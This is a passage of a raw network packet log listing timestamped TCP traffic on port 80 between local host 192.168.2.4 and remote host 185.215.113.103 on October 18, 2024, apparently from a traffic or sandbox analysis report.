Oct 18, 2024 15:04:16.237241030 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.237241030 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.238301039 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.238312960 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.238326073 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.238337994 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.238348961 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.238370895 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.238370895 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.238399029 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.239476919 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.239489079 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.239500999 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.239512920 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.239650965 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.239650965 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.239650965 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.240233898 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.240247965 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.240258932 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.240272999 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.240283966 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.240338087 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.240338087 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.240338087 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.240993977 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.241005898 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.241017103 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.241048098 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.241048098 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.372104883 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.372229099 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.372241020 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.372246027 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.372308016 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.372308016 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.372828960 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.372842073 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.372855902 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.372978926 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.372978926 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.373747110 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.373759985 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.373773098 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.373814106 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.373837948 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.374202013 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.374216080 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.374228001 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.374331951 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.374331951 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.388880968 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.388956070 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.388991117 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.389002085 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.389069080 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.389069080 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.389677048 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.389689922 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.389703035 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.389714956 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.389736891 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.389764071 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.389786005 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.390417099 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.390429974 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.390444040 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.390455961 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.390496969 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.390496969 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.390695095 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.390707970 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.390718937 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.390732050 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.391168118 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.391168118 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.391169071 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.391424894 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.391438961 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.391450882 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.391467094 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.391479969 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.391618013 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.391618013 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.391618013 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.392482996 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.392494917 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.392510891 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.392525911 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.392580032 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.392580032 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.392580032 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.393526077 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.393538952 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.393551111 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.393564939 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.393575907 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.393742085 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.393742085 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.393742085 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.394921064 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.394932985 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.394953966 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.394965887 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.395148039 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.395148039 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.395148039 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.395834923 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.395848036 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.395859957 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.395896912 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.395932913 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.397103071 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.397114992 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.397311926 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.397313118 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.398013115 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.398025990 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.398159027 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.398159027 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.399691105 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.399703026 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.399785995 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.399785995 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.400044918 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.400057077 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.400105000 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.400847912 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.402210951 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.402462959 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.402704954 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.402715921 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.402729988 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.402873039 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.402873039 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.403461933 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.403475046 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.403487921 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.403964996 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.403964996 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.403964996 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.405546904 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.405561924 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.405574083 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.405610085 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.405649900 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.406558990 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.406573057 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.406585932 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.406599045 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.406614065 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.406630993 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.406653881 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.409198046 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.409219027 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.409230947 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.409331083 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.409331083 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.409331083 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.409971952 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.409984112 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.409996986 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.410450935 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.410450935 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.410450935 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.411319017 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.411333084 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.411344051 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.411364079 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.411407948 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.411407948 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.411407948 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.412066936 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.412081003 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.412286043 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.412286043 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.412827015 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.412841082 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.412854910 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.412866116 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.412875891 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.412909031 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.412935972 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.413680077 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.413692951 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.413706064 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.413742065 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.413742065 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.414352894 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.414365053 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.414376974 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.414412975 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.414412975 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.414462090 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.414868116 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.414881945 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.414894104 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.414906979 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.414926052 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.414926052 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.414972067 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.415560007 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.415572882 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.415595055 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.415606022 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.415623903 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.415651083 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.416441917 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.416455984 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.416467905 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.416492939 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.416517973 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.417242050 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.417254925 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.417267084 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.417289019 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.417319059 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.417947054 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.417962074 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.417973995 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.417987108 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.418006897 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.418006897 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.418096066 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.418642998 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.418689013 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.501822948 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.501949072 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.501959085 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.501965046 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.502279997 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.502290964 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.502300978 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.502301931 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.502301931 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.502315998 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.502371073 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.502371073 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.504709005 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.504719973 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.504731894 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.504740953 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.504751921 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.504765034 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.504765987 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.504765987 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.505027056 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.505027056 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.505040884 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.505053997 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.505064011 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.505095005 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.505115032 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.553123951 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.553191900 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.555396080 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.555536985 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.557288885 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.557301998 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.557356119 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.557357073 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.560030937 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.560092926 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.560137987 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.560149908 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.560194969 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.560194969 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.560827971 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.560839891 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.560882092 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.561153889 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.561168909 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.561204910 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.561218023 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.561259031 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.561259031 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.561259031 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.561325073 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.562094927 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.562108040 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.562119961 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.562133074 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.562166929 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.562252998 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.562949896 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.562963963 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.562975883 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.562988997 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.563000917 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.563024044 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.563024044 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.563076973 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.563688993 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.563703060 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.563713074 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.563725948 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.563739061 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.563774109 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.563774109 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.563834906 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.564589977 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.564609051 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.564620018 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.564635038 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.564647913 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.564671993 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.564671993 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.564718008 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.565418959 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.565432072 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.565443993 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.565457106 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.565510988 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.565510988 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.566505909 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.566519976 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.566531897 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.566550016 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.566561937 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.566726923 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.566726923 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.566726923 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.567250967 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.567264080 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.567276001 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.567289114 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.567411900 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.567411900 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.567411900 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.568217039 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.568229914 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.568242073 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.568255901 CEST	80	49830	185.215.113.103	192.168.2.4
